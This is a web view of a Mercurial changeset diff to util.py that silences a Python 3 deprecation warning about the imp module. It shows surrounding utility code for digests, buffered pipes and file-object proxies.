##// END OF EJS Templates
py3: silence warning about deprecation of imp module...
Yuya Nishihara -
r37473:9ecb7c47 default
parent child Browse files
Show More
@@ -1,3860 +1,3863 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import collections
20 import collections
21 import contextlib
21 import contextlib
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import itertools
25 import itertools
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import tempfile
34 import tempfile
35 import time
35 import time
36 import traceback
36 import traceback
37 import warnings
37 import warnings
38 import zlib
38 import zlib
39
39
40 from . import (
40 from . import (
41 encoding,
41 encoding,
42 error,
42 error,
43 i18n,
43 i18n,
44 node as nodemod,
44 node as nodemod,
45 policy,
45 policy,
46 pycompat,
46 pycompat,
47 urllibcompat,
47 urllibcompat,
48 )
48 )
49 from .utils import (
49 from .utils import (
50 dateutil,
50 dateutil,
51 procutil,
51 procutil,
52 stringutil,
52 stringutil,
53 )
53 )
54
54
55 base85 = policy.importmod(r'base85')
55 base85 = policy.importmod(r'base85')
56 osutil = policy.importmod(r'osutil')
56 osutil = policy.importmod(r'osutil')
57 parsers = policy.importmod(r'parsers')
57 parsers = policy.importmod(r'parsers')
58
58
59 b85decode = base85.b85decode
59 b85decode = base85.b85decode
60 b85encode = base85.b85encode
60 b85encode = base85.b85encode
61
61
62 cookielib = pycompat.cookielib
62 cookielib = pycompat.cookielib
63 empty = pycompat.empty
63 empty = pycompat.empty
64 httplib = pycompat.httplib
64 httplib = pycompat.httplib
65 pickle = pycompat.pickle
65 pickle = pycompat.pickle
66 queue = pycompat.queue
66 queue = pycompat.queue
67 safehasattr = pycompat.safehasattr
67 safehasattr = pycompat.safehasattr
68 socketserver = pycompat.socketserver
68 socketserver = pycompat.socketserver
69 bytesio = pycompat.bytesio
69 bytesio = pycompat.bytesio
70 # TODO deprecate stringio name, as it is a lie on Python 3.
70 # TODO deprecate stringio name, as it is a lie on Python 3.
71 stringio = bytesio
71 stringio = bytesio
72 xmlrpclib = pycompat.xmlrpclib
72 xmlrpclib = pycompat.xmlrpclib
73
73
74 httpserver = urllibcompat.httpserver
74 httpserver = urllibcompat.httpserver
75 urlerr = urllibcompat.urlerr
75 urlerr = urllibcompat.urlerr
76 urlreq = urllibcompat.urlreq
76 urlreq = urllibcompat.urlreq
77
77
78 # workaround for win32mbcs
78 # workaround for win32mbcs
79 _filenamebytestr = pycompat.bytestr
79 _filenamebytestr = pycompat.bytestr
80
80
81 if pycompat.iswindows:
81 if pycompat.iswindows:
82 from . import windows as platform
82 from . import windows as platform
83 else:
83 else:
84 from . import posix as platform
84 from . import posix as platform
85
85
86 _ = i18n._
86 _ = i18n._
87
87
88 bindunixsocket = platform.bindunixsocket
88 bindunixsocket = platform.bindunixsocket
89 cachestat = platform.cachestat
89 cachestat = platform.cachestat
90 checkexec = platform.checkexec
90 checkexec = platform.checkexec
91 checklink = platform.checklink
91 checklink = platform.checklink
92 copymode = platform.copymode
92 copymode = platform.copymode
93 expandglobs = platform.expandglobs
93 expandglobs = platform.expandglobs
94 getfsmountpoint = platform.getfsmountpoint
94 getfsmountpoint = platform.getfsmountpoint
95 getfstype = platform.getfstype
95 getfstype = platform.getfstype
96 groupmembers = platform.groupmembers
96 groupmembers = platform.groupmembers
97 groupname = platform.groupname
97 groupname = platform.groupname
98 isexec = platform.isexec
98 isexec = platform.isexec
99 isowner = platform.isowner
99 isowner = platform.isowner
100 listdir = osutil.listdir
100 listdir = osutil.listdir
101 localpath = platform.localpath
101 localpath = platform.localpath
102 lookupreg = platform.lookupreg
102 lookupreg = platform.lookupreg
103 makedir = platform.makedir
103 makedir = platform.makedir
104 nlinks = platform.nlinks
104 nlinks = platform.nlinks
105 normpath = platform.normpath
105 normpath = platform.normpath
106 normcase = platform.normcase
106 normcase = platform.normcase
107 normcasespec = platform.normcasespec
107 normcasespec = platform.normcasespec
108 normcasefallback = platform.normcasefallback
108 normcasefallback = platform.normcasefallback
109 openhardlinks = platform.openhardlinks
109 openhardlinks = platform.openhardlinks
110 oslink = platform.oslink
110 oslink = platform.oslink
111 parsepatchoutput = platform.parsepatchoutput
111 parsepatchoutput = platform.parsepatchoutput
112 pconvert = platform.pconvert
112 pconvert = platform.pconvert
113 poll = platform.poll
113 poll = platform.poll
114 posixfile = platform.posixfile
114 posixfile = platform.posixfile
115 rename = platform.rename
115 rename = platform.rename
116 removedirs = platform.removedirs
116 removedirs = platform.removedirs
117 samedevice = platform.samedevice
117 samedevice = platform.samedevice
118 samefile = platform.samefile
118 samefile = platform.samefile
119 samestat = platform.samestat
119 samestat = platform.samestat
120 setflags = platform.setflags
120 setflags = platform.setflags
121 split = platform.split
121 split = platform.split
122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
123 statisexec = platform.statisexec
123 statisexec = platform.statisexec
124 statislink = platform.statislink
124 statislink = platform.statislink
125 umask = platform.umask
125 umask = platform.umask
126 unlink = platform.unlink
126 unlink = platform.unlink
127 username = platform.username
127 username = platform.username
128
128
129 try:
129 try:
130 recvfds = osutil.recvfds
130 recvfds = osutil.recvfds
131 except AttributeError:
131 except AttributeError:
132 pass
132 pass
133
133
134 # Python compatibility
134 # Python compatibility
135
135
136 _notset = object()
136 _notset = object()
137
137
138 def _rapply(f, xs):
138 def _rapply(f, xs):
139 if xs is None:
139 if xs is None:
140 # assume None means non-value of optional data
140 # assume None means non-value of optional data
141 return xs
141 return xs
142 if isinstance(xs, (list, set, tuple)):
142 if isinstance(xs, (list, set, tuple)):
143 return type(xs)(_rapply(f, x) for x in xs)
143 return type(xs)(_rapply(f, x) for x in xs)
144 if isinstance(xs, dict):
144 if isinstance(xs, dict):
145 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
145 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
146 return f(xs)
146 return f(xs)
147
147
148 def rapply(f, xs):
148 def rapply(f, xs):
149 """Apply function recursively to every item preserving the data structure
149 """Apply function recursively to every item preserving the data structure
150
150
151 >>> def f(x):
151 >>> def f(x):
152 ... return 'f(%s)' % x
152 ... return 'f(%s)' % x
153 >>> rapply(f, None) is None
153 >>> rapply(f, None) is None
154 True
154 True
155 >>> rapply(f, 'a')
155 >>> rapply(f, 'a')
156 'f(a)'
156 'f(a)'
157 >>> rapply(f, {'a'}) == {'f(a)'}
157 >>> rapply(f, {'a'}) == {'f(a)'}
158 True
158 True
159 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
159 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
160 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
160 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
161
161
162 >>> xs = [object()]
162 >>> xs = [object()]
163 >>> rapply(pycompat.identity, xs) is xs
163 >>> rapply(pycompat.identity, xs) is xs
164 True
164 True
165 """
165 """
166 if f is pycompat.identity:
166 if f is pycompat.identity:
167 # fast path mainly for py2
167 # fast path mainly for py2
168 return xs
168 return xs
169 return _rapply(f, xs)
169 return _rapply(f, xs)
170
170
171 def bitsfrom(container):
171 def bitsfrom(container):
172 bits = 0
172 bits = 0
173 for bit in container:
173 for bit in container:
174 bits |= bit
174 bits |= bit
175 return bits
175 return bits
176
176
177 # python 2.6 still have deprecation warning enabled by default. We do not want
177 # python 2.6 still have deprecation warning enabled by default. We do not want
178 # to display anything to standard user so detect if we are running test and
178 # to display anything to standard user so detect if we are running test and
179 # only use python deprecation warning in this case.
179 # only use python deprecation warning in this case.
180 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
180 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
181 if _dowarn:
181 if _dowarn:
182 # explicitly unfilter our warning for python 2.7
182 # explicitly unfilter our warning for python 2.7
183 #
183 #
184 # The option of setting PYTHONWARNINGS in the test runner was investigated.
184 # The option of setting PYTHONWARNINGS in the test runner was investigated.
185 # However, module name set through PYTHONWARNINGS was exactly matched, so
185 # However, module name set through PYTHONWARNINGS was exactly matched, so
186 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
186 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
187 # makes the whole PYTHONWARNINGS thing useless for our usecase.
187 # makes the whole PYTHONWARNINGS thing useless for our usecase.
188 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
188 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
189 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
189 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
190 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
190 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
191 if _dowarn and pycompat.ispy3:
191 if _dowarn and pycompat.ispy3:
192 # silence warning emitted by passing user string to re.sub()
192 # silence warning emitted by passing user string to re.sub()
193 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
193 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
194 r'mercurial')
194 r'mercurial')
195 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
195 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
196 DeprecationWarning, r'mercurial')
196 DeprecationWarning, r'mercurial')
197 # TODO: reinvent imp.is_frozen()
198 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
199 DeprecationWarning, r'mercurial')
197
200
198 def nouideprecwarn(msg, version, stacklevel=1):
201 def nouideprecwarn(msg, version, stacklevel=1):
199 """Issue an python native deprecation warning
202 """Issue an python native deprecation warning
200
203
201 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
204 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
202 """
205 """
203 if _dowarn:
206 if _dowarn:
204 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
207 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
205 " update your code.)") % version
208 " update your code.)") % version
206 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
209 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
207
210
208 DIGESTS = {
211 DIGESTS = {
209 'md5': hashlib.md5,
212 'md5': hashlib.md5,
210 'sha1': hashlib.sha1,
213 'sha1': hashlib.sha1,
211 'sha512': hashlib.sha512,
214 'sha512': hashlib.sha512,
212 }
215 }
213 # List of digest types from strongest to weakest
216 # List of digest types from strongest to weakest
214 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
217 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
215
218
216 for k in DIGESTS_BY_STRENGTH:
219 for k in DIGESTS_BY_STRENGTH:
217 assert k in DIGESTS
220 assert k in DIGESTS
218
221
219 class digester(object):
222 class digester(object):
220 """helper to compute digests.
223 """helper to compute digests.
221
224
222 This helper can be used to compute one or more digests given their name.
225 This helper can be used to compute one or more digests given their name.
223
226
224 >>> d = digester([b'md5', b'sha1'])
227 >>> d = digester([b'md5', b'sha1'])
225 >>> d.update(b'foo')
228 >>> d.update(b'foo')
226 >>> [k for k in sorted(d)]
229 >>> [k for k in sorted(d)]
227 ['md5', 'sha1']
230 ['md5', 'sha1']
228 >>> d[b'md5']
231 >>> d[b'md5']
229 'acbd18db4cc2f85cedef654fccc4a4d8'
232 'acbd18db4cc2f85cedef654fccc4a4d8'
230 >>> d[b'sha1']
233 >>> d[b'sha1']
231 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
234 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
232 >>> digester.preferred([b'md5', b'sha1'])
235 >>> digester.preferred([b'md5', b'sha1'])
233 'sha1'
236 'sha1'
234 """
237 """
235
238
236 def __init__(self, digests, s=''):
239 def __init__(self, digests, s=''):
237 self._hashes = {}
240 self._hashes = {}
238 for k in digests:
241 for k in digests:
239 if k not in DIGESTS:
242 if k not in DIGESTS:
240 raise error.Abort(_('unknown digest type: %s') % k)
243 raise error.Abort(_('unknown digest type: %s') % k)
241 self._hashes[k] = DIGESTS[k]()
244 self._hashes[k] = DIGESTS[k]()
242 if s:
245 if s:
243 self.update(s)
246 self.update(s)
244
247
245 def update(self, data):
248 def update(self, data):
246 for h in self._hashes.values():
249 for h in self._hashes.values():
247 h.update(data)
250 h.update(data)
248
251
249 def __getitem__(self, key):
252 def __getitem__(self, key):
250 if key not in DIGESTS:
253 if key not in DIGESTS:
251 raise error.Abort(_('unknown digest type: %s') % k)
254 raise error.Abort(_('unknown digest type: %s') % k)
252 return nodemod.hex(self._hashes[key].digest())
255 return nodemod.hex(self._hashes[key].digest())
253
256
254 def __iter__(self):
257 def __iter__(self):
255 return iter(self._hashes)
258 return iter(self._hashes)
256
259
257 @staticmethod
260 @staticmethod
258 def preferred(supported):
261 def preferred(supported):
259 """returns the strongest digest type in both supported and DIGESTS."""
262 """returns the strongest digest type in both supported and DIGESTS."""
260
263
261 for k in DIGESTS_BY_STRENGTH:
264 for k in DIGESTS_BY_STRENGTH:
262 if k in supported:
265 if k in supported:
263 return k
266 return k
264 return None
267 return None
265
268
266 class digestchecker(object):
269 class digestchecker(object):
267 """file handle wrapper that additionally checks content against a given
270 """file handle wrapper that additionally checks content against a given
268 size and digests.
271 size and digests.
269
272
270 d = digestchecker(fh, size, {'md5': '...'})
273 d = digestchecker(fh, size, {'md5': '...'})
271
274
272 When multiple digests are given, all of them are validated.
275 When multiple digests are given, all of them are validated.
273 """
276 """
274
277
275 def __init__(self, fh, size, digests):
278 def __init__(self, fh, size, digests):
276 self._fh = fh
279 self._fh = fh
277 self._size = size
280 self._size = size
278 self._got = 0
281 self._got = 0
279 self._digests = dict(digests)
282 self._digests = dict(digests)
280 self._digester = digester(self._digests.keys())
283 self._digester = digester(self._digests.keys())
281
284
282 def read(self, length=-1):
285 def read(self, length=-1):
283 content = self._fh.read(length)
286 content = self._fh.read(length)
284 self._digester.update(content)
287 self._digester.update(content)
285 self._got += len(content)
288 self._got += len(content)
286 return content
289 return content
287
290
288 def validate(self):
291 def validate(self):
289 if self._size != self._got:
292 if self._size != self._got:
290 raise error.Abort(_('size mismatch: expected %d, got %d') %
293 raise error.Abort(_('size mismatch: expected %d, got %d') %
291 (self._size, self._got))
294 (self._size, self._got))
292 for k, v in self._digests.items():
295 for k, v in self._digests.items():
293 if v != self._digester[k]:
296 if v != self._digester[k]:
294 # i18n: first parameter is a digest name
297 # i18n: first parameter is a digest name
295 raise error.Abort(_('%s mismatch: expected %s, got %s') %
298 raise error.Abort(_('%s mismatch: expected %s, got %s') %
296 (k, v, self._digester[k]))
299 (k, v, self._digester[k]))
297
300
298 try:
301 try:
299 buffer = buffer
302 buffer = buffer
300 except NameError:
303 except NameError:
301 def buffer(sliceable, offset=0, length=None):
304 def buffer(sliceable, offset=0, length=None):
302 if length is not None:
305 if length is not None:
303 return memoryview(sliceable)[offset:offset + length]
306 return memoryview(sliceable)[offset:offset + length]
304 return memoryview(sliceable)[offset:]
307 return memoryview(sliceable)[offset:]
305
308
306 _chunksize = 4096
309 _chunksize = 4096
307
310
308 class bufferedinputpipe(object):
311 class bufferedinputpipe(object):
309 """a manually buffered input pipe
312 """a manually buffered input pipe
310
313
311 Python will not let us use buffered IO and lazy reading with 'polling' at
314 Python will not let us use buffered IO and lazy reading with 'polling' at
312 the same time. We cannot probe the buffer state and select will not detect
315 the same time. We cannot probe the buffer state and select will not detect
313 that data are ready to read if they are already buffered.
316 that data are ready to read if they are already buffered.
314
317
315 This class let us work around that by implementing its own buffering
318 This class let us work around that by implementing its own buffering
316 (allowing efficient readline) while offering a way to know if the buffer is
319 (allowing efficient readline) while offering a way to know if the buffer is
317 empty from the output (allowing collaboration of the buffer with polling).
320 empty from the output (allowing collaboration of the buffer with polling).
318
321
319 This class lives in the 'util' module because it makes use of the 'os'
322 This class lives in the 'util' module because it makes use of the 'os'
320 module from the python stdlib.
323 module from the python stdlib.
321 """
324 """
322 def __new__(cls, fh):
325 def __new__(cls, fh):
323 # If we receive a fileobjectproxy, we need to use a variation of this
326 # If we receive a fileobjectproxy, we need to use a variation of this
324 # class that notifies observers about activity.
327 # class that notifies observers about activity.
325 if isinstance(fh, fileobjectproxy):
328 if isinstance(fh, fileobjectproxy):
326 cls = observedbufferedinputpipe
329 cls = observedbufferedinputpipe
327
330
328 return super(bufferedinputpipe, cls).__new__(cls)
331 return super(bufferedinputpipe, cls).__new__(cls)
329
332
330 def __init__(self, input):
333 def __init__(self, input):
331 self._input = input
334 self._input = input
332 self._buffer = []
335 self._buffer = []
333 self._eof = False
336 self._eof = False
334 self._lenbuf = 0
337 self._lenbuf = 0
335
338
336 @property
339 @property
337 def hasbuffer(self):
340 def hasbuffer(self):
338 """True is any data is currently buffered
341 """True is any data is currently buffered
339
342
340 This will be used externally a pre-step for polling IO. If there is
343 This will be used externally a pre-step for polling IO. If there is
341 already data then no polling should be set in place."""
344 already data then no polling should be set in place."""
342 return bool(self._buffer)
345 return bool(self._buffer)
343
346
344 @property
347 @property
345 def closed(self):
348 def closed(self):
346 return self._input.closed
349 return self._input.closed
347
350
348 def fileno(self):
351 def fileno(self):
349 return self._input.fileno()
352 return self._input.fileno()
350
353
351 def close(self):
354 def close(self):
352 return self._input.close()
355 return self._input.close()
353
356
354 def read(self, size):
357 def read(self, size):
355 while (not self._eof) and (self._lenbuf < size):
358 while (not self._eof) and (self._lenbuf < size):
356 self._fillbuffer()
359 self._fillbuffer()
357 return self._frombuffer(size)
360 return self._frombuffer(size)
358
361
359 def readline(self, *args, **kwargs):
362 def readline(self, *args, **kwargs):
360 if 1 < len(self._buffer):
363 if 1 < len(self._buffer):
361 # this should not happen because both read and readline end with a
364 # this should not happen because both read and readline end with a
362 # _frombuffer call that collapse it.
365 # _frombuffer call that collapse it.
363 self._buffer = [''.join(self._buffer)]
366 self._buffer = [''.join(self._buffer)]
364 self._lenbuf = len(self._buffer[0])
367 self._lenbuf = len(self._buffer[0])
365 lfi = -1
368 lfi = -1
366 if self._buffer:
369 if self._buffer:
367 lfi = self._buffer[-1].find('\n')
370 lfi = self._buffer[-1].find('\n')
368 while (not self._eof) and lfi < 0:
371 while (not self._eof) and lfi < 0:
369 self._fillbuffer()
372 self._fillbuffer()
370 if self._buffer:
373 if self._buffer:
371 lfi = self._buffer[-1].find('\n')
374 lfi = self._buffer[-1].find('\n')
372 size = lfi + 1
375 size = lfi + 1
373 if lfi < 0: # end of file
376 if lfi < 0: # end of file
374 size = self._lenbuf
377 size = self._lenbuf
375 elif 1 < len(self._buffer):
378 elif 1 < len(self._buffer):
376 # we need to take previous chunks into account
379 # we need to take previous chunks into account
377 size += self._lenbuf - len(self._buffer[-1])
380 size += self._lenbuf - len(self._buffer[-1])
378 return self._frombuffer(size)
381 return self._frombuffer(size)
379
382
380 def _frombuffer(self, size):
383 def _frombuffer(self, size):
381 """return at most 'size' data from the buffer
384 """return at most 'size' data from the buffer
382
385
383 The data are removed from the buffer."""
386 The data are removed from the buffer."""
384 if size == 0 or not self._buffer:
387 if size == 0 or not self._buffer:
385 return ''
388 return ''
386 buf = self._buffer[0]
389 buf = self._buffer[0]
387 if 1 < len(self._buffer):
390 if 1 < len(self._buffer):
388 buf = ''.join(self._buffer)
391 buf = ''.join(self._buffer)
389
392
390 data = buf[:size]
393 data = buf[:size]
391 buf = buf[len(data):]
394 buf = buf[len(data):]
392 if buf:
395 if buf:
393 self._buffer = [buf]
396 self._buffer = [buf]
394 self._lenbuf = len(buf)
397 self._lenbuf = len(buf)
395 else:
398 else:
396 self._buffer = []
399 self._buffer = []
397 self._lenbuf = 0
400 self._lenbuf = 0
398 return data
401 return data
399
402
400 def _fillbuffer(self):
403 def _fillbuffer(self):
401 """read data to the buffer"""
404 """read data to the buffer"""
402 data = os.read(self._input.fileno(), _chunksize)
405 data = os.read(self._input.fileno(), _chunksize)
403 if not data:
406 if not data:
404 self._eof = True
407 self._eof = True
405 else:
408 else:
406 self._lenbuf += len(data)
409 self._lenbuf += len(data)
407 self._buffer.append(data)
410 self._buffer.append(data)
408
411
409 return data
412 return data
410
413
411 def mmapread(fp):
414 def mmapread(fp):
412 try:
415 try:
413 fd = getattr(fp, 'fileno', lambda: fp)()
416 fd = getattr(fp, 'fileno', lambda: fp)()
414 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
417 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
415 except ValueError:
418 except ValueError:
416 # Empty files cannot be mmapped, but mmapread should still work. Check
419 # Empty files cannot be mmapped, but mmapread should still work. Check
417 # if the file is empty, and if so, return an empty buffer.
420 # if the file is empty, and if so, return an empty buffer.
418 if os.fstat(fd).st_size == 0:
421 if os.fstat(fd).st_size == 0:
419 return ''
422 return ''
420 raise
423 raise
421
424
422 class fileobjectproxy(object):
425 class fileobjectproxy(object):
423 """A proxy around file objects that tells a watcher when events occur.
426 """A proxy around file objects that tells a watcher when events occur.
424
427
425 This type is intended to only be used for testing purposes. Think hard
428 This type is intended to only be used for testing purposes. Think hard
426 before using it in important code.
429 before using it in important code.
427 """
430 """
428 __slots__ = (
431 __slots__ = (
429 r'_orig',
432 r'_orig',
430 r'_observer',
433 r'_observer',
431 )
434 )
432
435
433 def __init__(self, fh, observer):
436 def __init__(self, fh, observer):
434 object.__setattr__(self, r'_orig', fh)
437 object.__setattr__(self, r'_orig', fh)
435 object.__setattr__(self, r'_observer', observer)
438 object.__setattr__(self, r'_observer', observer)
436
439
437 def __getattribute__(self, name):
440 def __getattribute__(self, name):
438 ours = {
441 ours = {
439 r'_observer',
442 r'_observer',
440
443
441 # IOBase
444 # IOBase
442 r'close',
445 r'close',
443 # closed if a property
446 # closed if a property
444 r'fileno',
447 r'fileno',
445 r'flush',
448 r'flush',
446 r'isatty',
449 r'isatty',
447 r'readable',
450 r'readable',
448 r'readline',
451 r'readline',
449 r'readlines',
452 r'readlines',
450 r'seek',
453 r'seek',
451 r'seekable',
454 r'seekable',
452 r'tell',
455 r'tell',
453 r'truncate',
456 r'truncate',
454 r'writable',
457 r'writable',
455 r'writelines',
458 r'writelines',
456 # RawIOBase
459 # RawIOBase
457 r'read',
460 r'read',
458 r'readall',
461 r'readall',
459 r'readinto',
462 r'readinto',
460 r'write',
463 r'write',
461 # BufferedIOBase
464 # BufferedIOBase
462 # raw is a property
465 # raw is a property
463 r'detach',
466 r'detach',
464 # read defined above
467 # read defined above
465 r'read1',
468 r'read1',
466 # readinto defined above
469 # readinto defined above
467 # write defined above
470 # write defined above
468 }
471 }
469
472
470 # We only observe some methods.
473 # We only observe some methods.
471 if name in ours:
474 if name in ours:
472 return object.__getattribute__(self, name)
475 return object.__getattribute__(self, name)
473
476
474 return getattr(object.__getattribute__(self, r'_orig'), name)
477 return getattr(object.__getattribute__(self, r'_orig'), name)
475
478
476 def __nonzero__(self):
479 def __nonzero__(self):
477 return bool(object.__getattribute__(self, r'_orig'))
480 return bool(object.__getattribute__(self, r'_orig'))
478
481
479 __bool__ = __nonzero__
482 __bool__ = __nonzero__
480
483
481 def __delattr__(self, name):
484 def __delattr__(self, name):
482 return delattr(object.__getattribute__(self, r'_orig'), name)
485 return delattr(object.__getattribute__(self, r'_orig'), name)
483
486
484 def __setattr__(self, name, value):
487 def __setattr__(self, name, value):
485 return setattr(object.__getattribute__(self, r'_orig'), name, value)
488 return setattr(object.__getattribute__(self, r'_orig'), name, value)
486
489
487 def __iter__(self):
490 def __iter__(self):
488 return object.__getattribute__(self, r'_orig').__iter__()
491 return object.__getattribute__(self, r'_orig').__iter__()
489
492
490 def _observedcall(self, name, *args, **kwargs):
493 def _observedcall(self, name, *args, **kwargs):
491 # Call the original object.
494 # Call the original object.
492 orig = object.__getattribute__(self, r'_orig')
495 orig = object.__getattribute__(self, r'_orig')
493 res = getattr(orig, name)(*args, **kwargs)
496 res = getattr(orig, name)(*args, **kwargs)
494
497
495 # Call a method on the observer of the same name with arguments
498 # Call a method on the observer of the same name with arguments
496 # so it can react, log, etc.
499 # so it can react, log, etc.
497 observer = object.__getattribute__(self, r'_observer')
500 observer = object.__getattribute__(self, r'_observer')
498 fn = getattr(observer, name, None)
501 fn = getattr(observer, name, None)
499 if fn:
502 if fn:
500 fn(res, *args, **kwargs)
503 fn(res, *args, **kwargs)
501
504
502 return res
505 return res
503
506
504 def close(self, *args, **kwargs):
507 def close(self, *args, **kwargs):
505 return object.__getattribute__(self, r'_observedcall')(
508 return object.__getattribute__(self, r'_observedcall')(
506 r'close', *args, **kwargs)
509 r'close', *args, **kwargs)
507
510
508 def fileno(self, *args, **kwargs):
511 def fileno(self, *args, **kwargs):
509 return object.__getattribute__(self, r'_observedcall')(
512 return object.__getattribute__(self, r'_observedcall')(
510 r'fileno', *args, **kwargs)
513 r'fileno', *args, **kwargs)
511
514
512 def flush(self, *args, **kwargs):
515 def flush(self, *args, **kwargs):
513 return object.__getattribute__(self, r'_observedcall')(
516 return object.__getattribute__(self, r'_observedcall')(
514 r'flush', *args, **kwargs)
517 r'flush', *args, **kwargs)
515
518
516 def isatty(self, *args, **kwargs):
519 def isatty(self, *args, **kwargs):
517 return object.__getattribute__(self, r'_observedcall')(
520 return object.__getattribute__(self, r'_observedcall')(
518 r'isatty', *args, **kwargs)
521 r'isatty', *args, **kwargs)
519
522
520 def readable(self, *args, **kwargs):
523 def readable(self, *args, **kwargs):
521 return object.__getattribute__(self, r'_observedcall')(
524 return object.__getattribute__(self, r'_observedcall')(
522 r'readable', *args, **kwargs)
525 r'readable', *args, **kwargs)
523
526
524 def readline(self, *args, **kwargs):
527 def readline(self, *args, **kwargs):
525 return object.__getattribute__(self, r'_observedcall')(
528 return object.__getattribute__(self, r'_observedcall')(
526 r'readline', *args, **kwargs)
529 r'readline', *args, **kwargs)
527
530
528 def readlines(self, *args, **kwargs):
531 def readlines(self, *args, **kwargs):
529 return object.__getattribute__(self, r'_observedcall')(
532 return object.__getattribute__(self, r'_observedcall')(
530 r'readlines', *args, **kwargs)
533 r'readlines', *args, **kwargs)
531
534
532 def seek(self, *args, **kwargs):
535 def seek(self, *args, **kwargs):
533 return object.__getattribute__(self, r'_observedcall')(
536 return object.__getattribute__(self, r'_observedcall')(
534 r'seek', *args, **kwargs)
537 r'seek', *args, **kwargs)
535
538
536 def seekable(self, *args, **kwargs):
539 def seekable(self, *args, **kwargs):
537 return object.__getattribute__(self, r'_observedcall')(
540 return object.__getattribute__(self, r'_observedcall')(
538 r'seekable', *args, **kwargs)
541 r'seekable', *args, **kwargs)
539
542
540 def tell(self, *args, **kwargs):
543 def tell(self, *args, **kwargs):
541 return object.__getattribute__(self, r'_observedcall')(
544 return object.__getattribute__(self, r'_observedcall')(
542 r'tell', *args, **kwargs)
545 r'tell', *args, **kwargs)
543
546
544 def truncate(self, *args, **kwargs):
547 def truncate(self, *args, **kwargs):
545 return object.__getattribute__(self, r'_observedcall')(
548 return object.__getattribute__(self, r'_observedcall')(
546 r'truncate', *args, **kwargs)
549 r'truncate', *args, **kwargs)
547
550
548 def writable(self, *args, **kwargs):
551 def writable(self, *args, **kwargs):
549 return object.__getattribute__(self, r'_observedcall')(
552 return object.__getattribute__(self, r'_observedcall')(
550 r'writable', *args, **kwargs)
553 r'writable', *args, **kwargs)
551
554
552 def writelines(self, *args, **kwargs):
555 def writelines(self, *args, **kwargs):
553 return object.__getattribute__(self, r'_observedcall')(
556 return object.__getattribute__(self, r'_observedcall')(
554 r'writelines', *args, **kwargs)
557 r'writelines', *args, **kwargs)
555
558
556 def read(self, *args, **kwargs):
559 def read(self, *args, **kwargs):
557 return object.__getattribute__(self, r'_observedcall')(
560 return object.__getattribute__(self, r'_observedcall')(
558 r'read', *args, **kwargs)
561 r'read', *args, **kwargs)
559
562
560 def readall(self, *args, **kwargs):
563 def readall(self, *args, **kwargs):
561 return object.__getattribute__(self, r'_observedcall')(
564 return object.__getattribute__(self, r'_observedcall')(
562 r'readall', *args, **kwargs)
565 r'readall', *args, **kwargs)
563
566
564 def readinto(self, *args, **kwargs):
567 def readinto(self, *args, **kwargs):
565 return object.__getattribute__(self, r'_observedcall')(
568 return object.__getattribute__(self, r'_observedcall')(
566 r'readinto', *args, **kwargs)
569 r'readinto', *args, **kwargs)
567
570
568 def write(self, *args, **kwargs):
571 def write(self, *args, **kwargs):
569 return object.__getattribute__(self, r'_observedcall')(
572 return object.__getattribute__(self, r'_observedcall')(
570 r'write', *args, **kwargs)
